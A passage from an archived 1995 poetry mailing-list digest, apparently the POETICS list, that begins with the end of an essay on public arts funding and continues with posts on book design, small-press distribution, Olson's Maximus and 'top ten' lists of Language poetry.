TV, radio and the internet. If contemporary poetry is able to construct only a series of disconnected publics, then poetry is banished from that virtual republic that we aspire to, all the more, knowing it unattainable. For all the utopian promise of technological optimists, the answer is not in our machines but in our politics. For we see in this society a constant erosion of public space -- space not privatized for maximum profit, but made available for common use. And so it seems we can only imagine the public square, the town green, a Central Park of our poetries, where, leaving the solitude or sustenance of our rooms or communes, we might jostle against one another, unexpectably mingle, confuse our borders: refigure ourselves, reconstitute our affiliations, regroup. There is no education in the arts equivalent to having art works available in open channels -- public spaces -- to intrigue, befuddle, and engage those unfamiliar and familiar, but especially unfamiliar. Such initial points of public access to art must not be abolished; neither should they be privatized, through the restrictions of pay TV or high admissions prices. For such sites to have a democratizing function they must be maximally accessible from a physical, technological, and financial point of view, just that what they exhibit may not be so immediately accessible in other ways. We must resist the idea that difficult art is elitist, any more than that science is elitist or that learning is elitist. Such arguments breed demagoguery not populist empowerment. By denying the value of the labor necessary to become linguistically and culturally informed, we encourage the maintenance of an uninformed, indeed, ignorant, citizenry.

If the arts are denied public support, it is not the artists or dedicated readers and viewers who will suffer, for one way or another their commitment will keep them working and they will be prepared to find art in out-of-the-way places. But for the uninitiated, the decline of public space for art can be devastating, for they will have no common place to find non- market driven art production. Public radio and public television, despite their manifest inadequacies, are, like public arts funding through the NEA and other agencies, a fundamental point of intersection between the public and the arts. They are the town square of art. In a society that has few such points of access, any diminishment of our public spaces for culture is a catastrophe. Don't lament, or don't lament only: construct.

NOTES

1. Elizabeth Kolbert, "How Tina Brown Moves Magazines," in The New York Times Magazine, Dec. 5, 1993, p. 87. I lift this paragraph and the following one from the footnotes of an essay in which I discuss some closely related issues -- "Provisional Institutions: Alternative Presses and Poetic Innovation", which is forthcoming in Arizona Quarterly (Spring, 1995).

2. More on this in "I Don't Take Voice Mail", in M/E/A/N/I/N/G #16.

3. EPC connections through the main menu are as follows: July, 1994: 614; September, 367; October, 429; November: 573. Perhaps an additional ten percent accessed the server through Veronica searches or direct gopher connections.

4. "The WAIS-based search function for PMC, which operates through a WWW fill-out form, is heavily used, with more than 6,000 requests for that. The table of contents for the May 1994 issue (our most popular recent issue) has been requested over 6,000 times. Our most popular single item has been the popular culture column on Krazy Kat, with roughly 2,500 requests for the opening page. By the way, the page of information and archives on PMC-MOO has been requested almost as many times (5,700+). PMC-MOO, by the way, is now the second largest virtual community on the internet, with 2,718 "citizens," over half of whom have been active on the MOO in the two weeks [prior to this tabulation]. And we've had close to 900 requests for the table of contents of the PMC book of collected essays. I should add that none of these numbers reflect the non-WWW distribution channels; I don't have stats for gopher or ftp use, but we do have over 3,000 subscribers to the listserv distribution list for the journal's table of contents and calls for reviewers." -- John Unsworth, personal communication, January 31, 1995.

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166. Kali Tal
Viet Nam Generation web site
Sat 11 Mar 1995

I've just set up a web site server on Viet Nam Generation's macII. Our book catalogue is on-line now. I'll be putting up selections from the books themselves in the next couple of weeks. The site also describes the Sixties Project. The web address is:

http://kalital.polisci.yale.edu

Enjoy,
Kali

_____
Kali Tal
Sixties Project & Viet Nam Generation, Inc.
18 Center Rd., Woodbridge, CT 06525
203/[redacted]; fax 203/[redacted]
email: [redacted]

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167. Kali Tal
Joe Amato's volume of poetry now available...
Sat 11 Mar 1995

Several months ago we announced Joe Amato's forthcoming volume of poetry, _Symptoms of a Finer Age_. It's just come back from the printer, so next week we'll be sending out copies to those of you who ordered it. If you didn't order it, but want to, here's the info....

Joe Amato, _Symptoms of a Finer Age_, 96 pages, perfectbound, $12, White Noise #5; ISBN: 1-885215-12-6. You can order directly from Viet Nam Generation, Inc., 18 Center Rd., Woodbridge, CT 06525. Add $1.35 for shipping and handling.

I've been following the form/content discussion--my opinion as an editor and book designer is that the physical medium should, ideally, work with the poetry. For example, the standard size for books in the White Noise Series is 8.5" x 5.5", a pretty standard paperback size. Joe's poetry has long lines, though, and sometimes he has right-justified lines which have the feel of marginalia. He also has a couple of pages which make use of a mixture of fonts and type sizes to create a particular visual effect. I felt that in order to create a book which would carry Joe's work, I had to change sizes and go to 8.5" x 6", giving the text a broader look and shifting the proportions somewhat closer to square. Our cover designer, Steve Gomes, created an "outside" for the package which is in

dialogue with the contents: Joe's brother had taken a B&W picture of the New York World's Fair globe; the globe appears in one of Joe's poems and is an integral image for the book. We reversed the image so that it looks like the globe is hanging in space, flipped the negative so that the continents appear as they would appear on a map (convincing, but completely wrong, as any architect would--and did--catch immediately) and then had the photo hand-tinted in the style of 1930s photo labs, in blues and tans (exactly matching the colors of the earth from space). Steve then got a flat, black mat on which he laid out the hand-painted photo, holding it in place on the front cover with those little old-fashioned black photo corners. He similarly set up the B&W author photo on the back cover. Then he went to our page layout program and set up the titles, which he printed on paper of exactly the color that newspaper turns when it gets, oh, say about 40 years old. He printed them in 150dpi resolution instead of the 600dpi our printer is capable of so that they would look just as blurry as newspaper type. Then he cut them out, carefully, by hand and glued them on the black mat board, folding the corners of one piece to crease the print and give it a more "authentic" look. Then we shot the whole board so that we could get a vivid 3-D effect. The result is that the cover looks like pages out of a carefully kept scrapbook. To keep the scrapbook feel, we had the printer run the black background in a seperate pass through the press in a *very* flat matte black. Then they ran the four-color passes in regular gloss inks. Finally, we did a double pass with liquid lamination--gloss lamination just on the photographs, and matte on the rest of the cover. The result is that the photo-corners look like they come off the page, a remarkable illusion which resonates perfectly with the images in Joe's poetry. We could have gone to less trouble, I suppose, but then, the poet could also have taken it easier. The result in either case would have been less pleasing.

I like computers and I am very into writing HTML documents, but there is something different about manufacturing a book--I really like that particular interaction between message and medium.

Kali

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
18 Center Rd., Woodbridge, CT 06525
203/[redacted]; fax 203/[redacted]
email: [redacted]

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168. Mn Center For Book Arts
Re: close readings
Sat 11 Mar 1995

I certainly respect Ron's examples, and his own design of TONER, and Pierre is right to call attention to Mallarme, but I think that, if the discussion of space is limited to the page and its typography, something is missing. Gary Sullivan wisely called attention to the context of publication for O'Hara. I have got the first edition of Maximus IV, V, VI down from my shelf, and in that book the weight of the volume, the texture of pages and cover, all contribute. This is about paying attention to what and how we read and what effects that reading, and the field is much broader and more complex than "the page."

I also have a sense that books today are very restricted in how they might convey the sense of the poem. By that I mean that I suspect Ron designed TONER according to at least some of the conventions of the marketplace. I'm not certain a book with the size, uncoated paper, and other charateristics of that second Maximus volume would find shelf space in any but about four bookstores in the USA, if the book were by a poet with about the same exposure as Olson had at the time that book came out. In 1995 more and more of the smallest presses are conforming not only to size standards, but also to paper standards, often to the 4-color processes marketing seems to call for, and including bar codes. How does an individual text, and a publisher, maintain a distinctive physical manifestation? How will they do so in electronic publishing? Do the advantages of the current means of distribution outweigh what is lost?

charles alexander

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169. Tenney Nathanson
reading against (the) against the grain
Sun 12 Mar 1995

contra (as per usual lately, oddly) my friend Charles (A), I guess I'd want to suggest that: 1) while, when dealing w a chunk of poetry (poetries) by various authors where the going wisdom has to do w irreplaceable signature (17-C mannerist; modernist--eg) it's interestin (a la Bob Perelman book I've not yet bought/read?) to dispute the category of the "master work) 2) when dealing w something like Lang Po 1 which so insistently insists on textuality and discourses etc etc, it might be, exactly, (most?) interesting to focus (or insist) instead on the grain of the (non) voice and the category of the would-be masterwork: of all the many-hundred (?) (or couple hundred, it must be) books by so-called so-called G-1, which of them, (if the books itself or "itself" sruvives another 50 years) will survive as THE books from Lang Po - 1 that one needs to

read? sinc the question itself is inimical, in important ways, to the ethos of the movement (or non-movement), it's THERFORE interesting. or so say all of us .... Tenney

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170. John Cayley
Re: close readings
Sun 12 Mar 1995

> *In 1995 more and more of the smallest presses are conforming not only to size standards, but also to paper standards, often to the 4-color processes marketing seems to call for, and including bar codes.*

As a small publisher I conform to book trade standards, of necessity to make it *possible* for a book to exist in the trade context, even if it is unwelcome and may languish in a distributor's warehouse. There are always constraints.

> *How does an individual text, and a publisher, maintain a distinctive physical manifestation?*

Surely that is a function of the creative effort some or all put in. Dancing in chains?

> *How will they do so in electronic publishing? Do the advantages of the current means of distribution outweigh what is lost?*

We've already crossed the Rubicon. The hype is all true, except that it is not possible for us to predict or even conceive of the final physical forms in which the medium we are currently using will manifest itself. It is very hard to believe that it will not have at least the flexibility and degree of material articulation as does print/paper. It's likely that sooner rather than later it will have acquire many 'sensual' characteristics which will be as pleasing to us as those associated with productions of the finest paper/print practioners.

(Remember when screens of texts were little green dots on a black void? That was when Ted Nelson invented hyperText.)

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171. H. T. KIRBY-SMITH
Poetry and the Page
Sun 12 Mar 1995

Concern with the interraction of poetry and its appearance on the page coincides with periods of adventurous experimentalism in poetry writing. But first you have to have a page. That was difficult before the printing press, but not impossible. A few poems in Greek, the "technopaignea," survive--shaped

poems that resemble an egg (a poem about a nightingale), panpipes, a few others.

In the later 1500s there was a lot of experimentation with accommodating the poem's appearance on the page to its content--a mixture of graphics and print, and in the 1600s there were emblem poems. The irregularity of line lengths, too, could be advertised by conspicuous indentations, and there were poems that bordered on free verse--in fact, given the context of the times, were free verse.

Beginning about 1680 and continuing to about 1780, typographical devices were scorned and avoided for the most part. The page was simple a place where the poem could be recorded. There are exceptions to all the generalizations offered so far, but on the whole there was this rhythm of experimentation and reaction.

Then with Blake and continuing with the Pre-Raphalites there was renewed experimentation with typography, graphics, advertised expressiveness or irregularity, etc. Surely Whitman, a printer himself, realized the typographical impact of his lines--as opposed to what was generally expected in the nineteenth century.

Mallarme pointed to the future with the typographical extravagances of "Un coup de des," and Pound and Amy Lowell certainly used typography for formal purposes. It has been argued that Williams's "triadic" line was really a typographical device, and that Olson's distribution of his lines appeal to the eye more than serving as a transcription of his "breath."

Imagist doctrine (Ford, Hulme, Pound, Lowell, Aldington, etc) emphasized the visual over the audible, and that included the appearance on the page. e. e. cummings used the typewriter for witty purposes that involved exact placement of letters and words, and of course Olson insisted even more grandiosely on that tool's usefulness.

The visual media available for recording poetry always affect the poetry, especially in periods of experimentation. First came moveable type, then after a long time, the typewriter, and now all the graphic possibilities--the fonts, etc--available in word processors. Actually Mallarme went a long way very early; his poem was so hard to set in type that it was not published in correct form until some years after his death

Neoclassicists, from Joseph Addison (who called shaped poems "false wit") to the present tend to be unsympathetic with the notion of typographical poetry. This is another of the issues contributing to the bifurcation of American poetry.

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172. Mn Center For Book Arts

Re: reading against (the) against the grain

Sun 12 Mar 1995

Yes, Tenney, I do have some objections to a listing of the "masterworks" of langpo, although part of the problem I had with that request was that it did not ask for the ten "masterworks" or "best works" (about which you could give your list, I could give mine, etc.), but for the ten "most important." What does important mean in this sense? I may find works which are most influential are not works which I consider the most accomplished. I may argue that the most accomplished are not the most generative or courageous. I also may believe that a book issued in 200 copies (or even 50) by a very small and independent press in northern California is more of a masterwork than the best distributed langpo book published by Sun & Moon (arguably the most "successful" langpo publisher, but "successful" by what standards -- aesthetic, marketplace, other? -- & this is not to argue against Sun & Moon, Douglass, as I love your work).

So, first, make clear for me your definition of a masterwork, then I'll be glad to suggest how I might fill in the blanks in the top ten. But I suspect your definition may be more interesting than my list (or someone else's).

> all best to you & all the list,
> charles alexander

ps -- to John Cayley, yes I still believe there's lots of room for creativity in bookmaking, even for the wider marketplace, although I sometimes feel bad that some of the tools are lost or made difficult. Interesting that some of the most exciting developments in commercial papermaking are in the issuing of exciting (visual & textural) recycled papers, and that these particularly lend themselves to book covers, except for the fact that they are uncoated, which means some bookstores don't want them and that their suitability for 4-color printing (without going to great expense, although the results can be dramatic) is not great, which means that sales reps have a harder time marketing them. I am currently driven to design books for the market which do conform (at least enough to make them work, but not enough to make them absolutely "regulation") to trade standards, but also to keep making books whose devotion is to the union of bookmaking excellence & innovation with literary works, even though the labor to produce such works is great and the market is tiny.

As to the possibilities of sensuality in the electronic realm, I am excited and fairly ignorant, but hopeful.

To H.T. Kirby-Smith, thanks for the brief history, it's helpful. But I don't think "typographical poetry" is the extent of what we're talking about. As a poet who makes books, certainly, the shape of poem on page, the kind & shape of page,

the double-page spread, the conception of sequencing in turning the page, as well as other aspects of color and form, are all part of the artistic composition, yet these are not "typographical poems" in any sense I recognize that term. I know there are other poet/bookmakers on this list, and I wonder what they have to say about this issue, whether they are printing/designing their own works or works by others. I am interested in the possibilities of design/book art, while being a "presentation" of texts, at the same time being a "reading" or "interpretation" of texts, and even, when possible (and this is tricky) being a "collaborative partner" with texts. Among texts some would consider as language poetry (getting back to possible masterworks, Tenney), I would point to the first edition of Susan Howe's DEFENESTRATION OF PRAGUE (Kulchur Foundation,1983), Charles Bernstein & Susan Bee's THE NUDE FORMALISM (Sun & Moon, 1992), and Lyn Hejinian & Kit Robinson's INDIVIDUALS (Chax, 1988), as three books which enact such a partnership in three dramatically different ways. I sometimes wonder, though, if future scholarship will keep such presentations/partnerships in mind, or pay attention only to the texts, which I find limiting. On the other hand, I am not a proponent of some masterwork notion of bookmaking, rather that such partnerships are illuminating while not being the only artistic possibilities, yet maintain some eminence when they are the first printed editions of texts.

charles alexander

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173. Sheila Murphy
Re: Text and Sounds and Words...
Sun 12 Mar 1995

Gary, What a welcome question (concerning form and physical presence of my small chap called CRITERIA FOR BEING TOUCHED)

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174. Sheila Murphy
Re: Text and Sounds and Words...
Sun 12 Mar 1995

Excuse, please, folks, the premature sending that just occurred. I'll begin again:

Gary's question (about the form and physicality of my small chap called CRITERIA FOR BEING TOUCHED) is most welcome. Much of the credit must go to C.L. Champion, the publisher, who lives in Tucson. I had sent Champion a small grouping of poems, many of which seem now to me to have a quality of casualness about them that may have inspired the publisher to present them

together with wonderful drawings crayoned in and showing childed printing on the front cover, using the space as children do, with the word "Sheila"'s taking up the whole horizontal space, necessitating a move to another place to the right of the drawing of figures and sun and a house on the left of the page, just to get in the middle initial "e" (to distinguish, some of you know, from another Sheila Murphy in the lit world - I did this a long time back, knowing what a common Irish name I have - and there indeed turn out to be several by my name). Anyhow, the little stub of sandpaper on the back of the book does several things as far as I can see. The suggestion of sand itself is there, as in sandbox (the recollective aspects of the work, notably the first piece about my now late father, called "I Could Ask Anything," which youngs its way along to mirror, as happens, the naive art concept on the cover), and as in rough cut of feelings almost unconsciously released as they are from childhood. There's mention of physical things in that first poem (a haibun, by the way) about my father's making our lunches and placing them in brown manila envelopes he would recycle from the office (long before this sort of thing was done). The style of the book seems to be perfectly tuned to the moment the experience it talks about was born.

A primary reader of what I do, who responds to many things before they leave me, also loved this book, Gary. Bev Carver immediately perceived the link and loved what C.L. Champion had done.

I have had this hunch concerning serendipity that keeps proving itself true: one of the most exciting aspects of writing comes at the point at which an editor who really cares can leap with the work to the physical place at which it needs next to occur (for many other people to perceive). I'm constantly lucky in this. And notably in small, small press efforts that come directly from garages. This is the best example I know of where something boundlessly and simply beautiful occurs when I've completely let go of something I have written. For me, the physical imagination of the other person comes as a gift that enriches the experience of making. While I love direct collaboration (I do a lot of that with John M. Bennett (in text) and with Megha Morganfield (on Celtic harp with text) and some others, THIS is collaboration of another kind.

Thanks, Gary, for asking.

Sheila

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175. **Sheila Murphy**
Re: More in re context
Sun 12 Mar 1995

Gary and others -

A beautiful example of physical form has just arrived in the slow post. AVIDLY PERPLEXING by Meg Davis has been newly released by Sun/Gemini Books in Tucson (Clint Colby, publisher). PO Box 42170 Tucson, 85733. $9.95. This is Meg's first chapbook. (A large chap with nothing spared re: expense, by the way, and 39+ pages). The poems are WONDERFUL. Charles A. knows some of Meg's work, and I hope still more others will soon. Splendid, fresh stuff.

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176. Kenneth Goldsmith
Apologies and new thoughts re: Top Ten
Sun 12 Mar 1995

Folks,

Please excuse my first post. It was dashed off hastily and being a first-time poster, I wasn't sure if it was going to even go through. I certainly didn't mean to imply verticality or canonization. Rather, what I meant was that it would be helpful to begin a list and commentary of important, influential, provocative, or simply favorite books centered around The Language Poetry dialogue--let's call it a community bibliography of sorts. Hopefully, in the future it be compiled into a coherent resource that could be deposited at the E-Poetry Archive as a signpost for net wanderers or other interested parties. As a very side discussion in this group, if people would occasionally post their choices and reasons, I would begin to compile (being a natural compiler) a resource.

Kenneth Goldsmith
-

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177. Tony Green
Re: close readings
Sun 12 Mar 1995

Thanks, Jonathan Brannen, for your post on close reading(s). I agree the context of university classes can be destructive in just the ways you indicate. Content dis-formed is what the system produces, because at the place where your poetry-as-music or (as-for-music) gets found, so discourse re-theme and content gets dis-abled.

Equivalent in painting and other "visual" arts discourse is: taking painting exclusively as picture, where picture is reduced to a small selection of nameable objects, each of which can then be drawn into theme-content discussion (and "theory") but with no regard for questions of how in the

medium all that can be seen. (Classic much anthologised example is Louis Marin reading Poussin's Et in Arcadia ego.)

The level of the working by which the work has had to be constructed (constituted as image) disappears from view, where the work in the medium and the resulting figuration (or absence of it) makes picture visible.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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178. Tony Green
Re: close readings
Sun 12 Mar 1995

Hi Wystan, cd you say more abt the demand of texts to be read close. I can think of paintings like that, and some that do best with a quick take.cturee

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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179. Tony Green
attacks on funding
Sun 12 Mar 1995

Defenders of public funding
against attacks of such as W.Bennett

cd well note W.Spanos The End of Education University of Minnesota Press 1993

which is an elaborate defence of positions in education against such as Bennett

Intro p xiv "In the aftermath of the Vietnam War, a massive educational reform movement was initiated in 1979 by Harvard University....Such reform was theorized by prominent American humanists, by conservatives such as William Bennett, Walter Jackson Bate, and Allan Bloom, and by liberals such as E.D.Hirsch and Wayne Booth. This reform movement has as its purpose the recuperation of not only the humanist curriculum that was "shattered" by the protest movement in the 1960's but also the discourse of disinterestedness now called into question by the theoretical discourses that have come to be called "postmodern" or "poststructuralist", but which this book prefers to call "posthumanist".

a wsTIVSA

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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180. Gary Sullivan
Re: Goldsmith's Top 10 request
Mon 13 Mar 1995

Kenneth, here's one:

TOP TEN LANG NOs

"We are forever deceiving ourselves with names and theories."
--Charles Lamb

"Benjamin Franklin [was] the only president of the United States who was never president of the United States."
--Firesign Theater

1. Aristotle's _On the Art of Poetry_. Section 20, focussing on linguistic definitions.

2. Charles Lamb's _Selected Prose_. As Adam Phillips notes in the Introduction: "[for Lamb] great art was unfinished in the sense that it relied on the imaginative involvement of the audience to complete it. It was not something that by virtue of its perfection diminished its audience. It was not an

idol but an invitation." From Lamb's essay on Hogarth: "*imaginary work*, where the spectator must meet the artist in his conceptions half way; and it is peculiar to the confidence of high genius alone to trust so much to spectators or readers." (cf. "reader-response writing.") Lamb's essay "On the Tragedies of Shakespeare" is the first instance of someone suggesting a preference for *reading* Shakespeare over viewing the plays performed. An excellent, intelligently stated argument, with all the panache (& thrice the wit) of Grenier's "I HATE SPEECH." (You'll have to read Lamb's essay to see whether or not you agree--and to what extent--Lamb's & Grenier's concerns are related.)

3. Gertrude Stein. No need to explicate. Richard Bridgman's _Gertrude Stein in Pieces_ includes a (complete?) bibliography, with actual & well-guestimated dates for each work, if you want to read her chronologically.

4. Samuel Beckett, esp. _How It Is_, _Stories and Texts for Nothing_, _Fizzles_, _Ill Seen Ill Said_, _Worstward Ho_, _More Pricks than Kicks_, _Company_ and _Stirring Still_. A big influence on Coolidge, who seems a big influence on lang pos.

5. Jack Spicer, _Language_. (cf. Silliman on this in _New Sentence_.)

6. Clark Coolidge, esp. _Space_, from 1970. The spine of this book claims it was published by "Harper & Row"; I think they did that with mirrors.

7. J.G. Ballard, _The Atrocity Exhibition_. Originally published in 1972 by Panther; reissued (expanded edition?) recently by Re/Search. His notorious "Why I Want to Fuck Ronald Reagan" (there's an Andrews title for you) orig. appeared in 1968 in _Ronald Reagan, The Magazine of Poetry_, edited by John Sladek and Pamela Zoline. (Includes groovy, Brainardesque line-drawings by Zoline.) Andrews is funnier, but Ballard stays with you longer. (Well, okay, "has stayed with *me* longer.")

8. Ad Reinhardt. It's been too long since I've read him to explicate, but I remember, first coming across journals like _Ottotole_ and _Poetics Journal_, that the Ad-man'd covered some of that conceptual ground with respect to the visual arts. His art-world satire collages (including a horse-racing form with the names of various abstract expressionists substituted for horses) are not to be missed. He may or may not prove relevant.

9. The Firesign Theater, _Don't Crush that Dwarf, Hand Me the Pliers_. If anything can be said to've prepared me to read (& appreciate) Bernstein, it was this record. I'm constantly amazed by the lack of (serious) critical attention these guys have received. One of the members, David Ossman, did the interviews of New American Poets published in _The Sullen Art_. (Corinth published that, I think.) There are several e-space "whatchyoucallems" devoted to the F.T. I've discovered using Gopher. Can't remember where they are, how I

got there. At least one site includes the F.T. "lexicon," which might be valuable for the un- or recently initiated.

10. Alan Davies, "Peer Pleasure," just published in _Cyanosis_ #2 (e-mail [redacted] for info). Any serious study of a movement, group, clique or tendency might include a well-stated, serious critique. "Peer Pleasure" is an example.

--Gary Sullivan

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181. Robert Drake
Re: Apologies and new thoughts re: Top Ten
Mon 13 Mar 1995

> *I certainly didn't mean to imply verticality or canonization. Rather, what I meant was that it would be helpful to begin a list and commentary of important, influential, provocative, or simply favorite books centered around The Language Poetry dialogue--let's call it a community bibliography of sorts.*
>
> *Kenneth Goldsmith*

ken--

im not sure its possible to avoid the implications of verticality or cannonization; the AUTHORity of this list ("owened" by bernstein, and regular contributors including a substantial part of the langpo movement) militates against such...

& id suggest, (related to the forms of publication thread) that the kind of centrally compiled list yr suggesting is a holdover from pre-electronic publishing ideas--if the e-network has any advantage at all, its the possibility of decentralized multiplicity, where all participants lists are equally available, w/out the added "legitimization" implied by being added to a maintained list...

id be _very_ interested, on the other hand, to have random postings by any and all participants of what they're reading & enjoying this week...

lbd

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182. R.I.Caddel @ durham.ac.uk
Juhan Viiding
Mon 13 Mar 1995

This isn't the first message to this board I'd hoped to send: Just back from the visit to Buffalo referred to by Kenneth Sherwood, where I read my "Baltic Coast" sequence, and I've just got this mail. Viiding was one of the activists of

Estonian poetry, emerging in the sixties along with Kaplinski, Ehin and others, sustaining his oppositional craft for years:

%%%%%%%% Forwarded message %%%%%%%%

Hair. The quirks and ecentricities of the handmade (homemade) book on both ends of the spectrum are a delight.

I'm wrestling with these issues now. Standing Stones Press publishes chapbooks. They're attractive, carefully made and reasonably inexpensive. I do everything myself in order to keep the costs down because I want them to be affordable. I fantasize about breaking even someday but this is not a capitalist venture. I think it's psychologically important for younger writers and writers that are not as well known as they should be to have collections of their work printed. The

The problem, of course, is that don't meet the shelf and profit needs of all but a few bookstores. Small Press Distribution won't carry them. The reasons I was given is that they're not taking on any new publishers of chapbooks because they don't make enough money from them to make it worthwhile and that they're moving toward carrying only trade editions because that's where the market is. Now, I can understand their desire to increase sales and stay financially solvent, and I can more-or-less ignore the irony of a non-profit corporation complaining about not making enough profit. But here's the conundrum, I can do a trade edition annual in which I essentially publish the chapbooks I would have, but the psychological boost that comes from having what may be your first collection published has been denied you. Instead you're lumped together with other writers with whom you have little in common and there's a higher price tag for all involved.

So, if I capitulate a spectrum of distinctions get lost. Now I confess a certain nostalgia for the book. They're portable, tactile, don't require hundreds of dollars of equipment to read, and can be read when the power's out. But I'm also considering electronic publication. Until the frontier aspects of the net are squashed by government interests, you have spontaneous distribution and minimal overhead. I suspect that electronic publications will evolve into collaborative efforts due the level of expertise required to utilize the wide media available through the computer. Electronic journals will contain animation, "films," music, voice, text and who know's what all thrown in the mix together. Who can foresee how it will evolve? The problem I see at the present is that the net is a realm of the priviledged. You have to have the equipment to access it and you have to have an entrance point. Public sites are scarce. This is less an issue for those of you associated with universities where limitless net access usually the norm. If you're not, it gets expensive quickly, even when you can make connection without racking up long distance phone charges.

I throwing the above out for consideration.

Jonathan Brannen

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184. Hank Lazer
reading now
Mon 13 Mar 1995

In response to luigi-bob drake's request to mention what we're reading & enjoying now:

biography of Coltran by Nisenson; poetry manuscripts by Charles Bernstein and Lisa Samuels; books of poetry by Bei Dao and manuscript materials by an amazing poet (from Suzhou) - Che Qianzi; music by Coltrane & Monk (for classes I'm teaching later in the week); and work by Norman Fischer, Precisely the Point Being Made (a joy of a book) and subsequent manuscripts....

Hank Lazer

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185. B. Cass Clarke
Re: close readings
Mon 13 Mar 1995

> *I can't recall off-hand whether Maximus IV, V, VI was published by Jargon, Cape Goliard/Grossman, or perhaps someone else. In any case, I wonder how widely distributed it actually was at the time it was published. I know that Olson personally placed copies of the previous volume of Maximus in bookstores, probably by towering over the owner.*

Dear Jonathan:

Maximus Poems IV,V,VI was published in 1968 by Cape Goliard Press in association with Grossman. When I was a student studying Olson, in 1973, it was most difficult to find a copy. Students searched used bookstores in the hope of finding a copy. Until Butterick com- pleted his heroic task of the Collected Maximus, I believe IV, V, VI was out of print. As to the idea of Olson pressing his work on any bookseller, it is my impression that Olson cherished, and hoarded his copies. I recall vividly Harvey Brown and Jack Clarke fondly describing Olson's hospital room - and the stack of IV,V,VI prominently displayed and referred to by him - it was a treasure. The literal fact of its accomplishment and material presence was no small feat - it signified a labor of love by Olson and the many friends who believed in his work. Its "success" measured by sales - was never the point.

B. Cass Clarke
[redacted]

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186. **Jonathan A Levin**
SUNY-Buffalo talk
Mon 13 Mar 1995

To list subscribers at Buffalo:

I'm going to be giving a talk at Buffalo on Friday March 31, sometime in the afternoon (2, 3, or 4:00, I believe). The talk is titled "Wallace Stevens and the Pragmatist Imagination" and is a part of a book I'm writing on Pragmatism and American Literary Modernism (the literary part being, for the most part, devoted to Henry James, Gertrude Stein, and Stevens). Some in the audience (students in Art Efron's Pragmatism and Literature seminar) will, if I'm not mistaken, have read my recently published "The Esthetics of Pragmatism," in American Literary History, Winter 1994 (not, however, "required reading"). This, for those of you interested, doesn't really cover any poetry, though Stevens sneaks in near the end: you'll have to wait for the book! (Not long, I hope.) The talk, on the other hand, is full of close reading, of the best kind.

I'll post the time and place in a couple of weeks. Hope some of you can make it--

Jonathan Levin

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187. **Edward Foster**
Re: POETICS Digest - 8 Mar 1995 to 9 Mar 1995
Mon 13 Mar 1995

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re: k davis and the absolute: "play things as they are"? who's in charge of that?

↑ Index

188. **James Sherry**
Re: Apologies and new thoughts re: Top Ten
Mon 13 Mar 1995

Several poetry lists have been compiled by the poets of whom you speak. A group of us compiled a yearly list in the Segue distribution catalog. I can give you this which consists of 300 titles. A list of ten as has been suggested is, as others have suggested, like asking which dozen eggs makes the best omlette. Any eggs will make the omlette you choose to make. The works of the poets of the past 20 years compose matrix of poems, themes, and strategies and to isolate any in a list is to miss the point of the matrix structure. Can we begin to isolate works in this overall and complex way rather than a string of titles and justifications? James

↑ Index

189. Tenney Nathanson
Re: POETICS Digest - 11 Mar 1995 to 12 Mar 1995
Mon 13 Mar 1995

---

back to the masterworks. The topic, that is (not like "back to the things themselves!"). I don't know that the criteria (would) come first, Charles; just (perhaps) after a while (20-30-50 years say) some books, and writers, will rise, or stick, or whatever your trope is (maybe the spaghetti on the wall is best). And I think that that's gonna be interesting, for Lang Po in particular, just because it goes against the grain of the enabling rhetoric (not so for modernism) and is therefore likely to show unexpected things about Lang Po, and to shed interesting light on it. I'm not really invested or even interested in arguing canon right now. There are just so many truisms about discourse, and textuality, and enabling of readers and etc etc that it's nice to contemplate a meaningful (let's hope) engagement w some of the poetry that comes at it from a stance quite different from its own. (the obverse and less interesting--but satisfying!--case is to watch Charles Altieri take Worshop Poetry w its pride in Craft and The Well Made Poem and The Individual and cook it all down to a suet (sp.?) w maybe 3 ingredients).

↑ Index

190. Jonathan Brannen
Re: close readings
Mon 13 Mar 1995

Dear B. Cass Clarke

Of course, Maximus's success measured by sales was never the point, nor did I intend to imply that it could be measured in sales. I was addressing Charles Alexander that only about four bookstores would carry a comparable ahem, I was addressing Charles Alexander's observation that no one would stock a comparable book today (comparable in terms of size and needed shelf space for a poet now at a similar point in her or his career).

My notion of Olson towering over bookstore owners comes from reading Jonathan Williams' account on Olson personally placing the Jargon edition of Maximus I - III in bookstores in small towns in North Carolina, stores so unlikely to sell them that Williams claimed copies were still in stock in the mid-1980s (for the original list price). I can't vouch for the accuracy of the story or the accuracy of my recollection of it, other than to say I think it's fairly accurately. I think I gleaned this from an interview with Williams in Vort in the early 1980s.

I don't personally placing books in bookstores precludes the possibility of later hoarding copies. Having watched a couple of my own books go out of print, I tend to be generous with copies and aggressive about placing them in stores when they first appear and considerably more parsimonious when there are only a few copies left. I think Butterick's labors are profoundly admirable. Nor do I find Olson's personally trying to make copies of his books available to a potential audience less than admirable. The unignorable fact, though, is that booksellers measure the success of a book in terms of sales, which is why you had such difficulties in finding copies of Olson's book.

Thanks for clarifying the issue of the publisher for me.

Best regards,
Jonathan

↑ Index

191. Kenneth Goldsmith

You can't make an omlet if you can't get your hands on the eggs

Mon 13 Mar 1995

James,

Thank you for your helpful comments. I would very much like your list of 300 titles and would like to use it as a jumping off point for a "matrix" or "galaxy" oriented resource. Of course, as I implied in my last post, ten seems like a ridiculous number for all the reasons you mention. But, if we can think non-hierarchically and in a horizontally spread manner concerning this project, it could prove to be a valuable resource for many people who haven't been in this dialogue for as long as you have. It seems like the contributors to this list are growing every day and I feel that an archive like the one we're discussing could be essential to laying a groundwork for those unfamiliar with much of the reading material (which is, unfamiliarity through poor access). Many books have fallen out of print and many people are so new to Language Poetry, that they donÕt even know that many of these titles have ever existed. Access to resources has been limited. I can't tell you how many authors and publishers in the scene complain to me that their books aren't known about due to poor distribution that in turn, creates a lack of interest. It's really a shame. For example, access to your Segue list is limited. I live in the same city as you, I speak on the phone with you, and see you at readings, but it never crossed my mind that such a thing was in existence (I've never, quite honestly, until recently known what Segue was or how get at it. To this day, I've never seen the Segue catalogue of which you speak. I do, btw, consider myself a media-savvy New Yorker, and not much escapes my 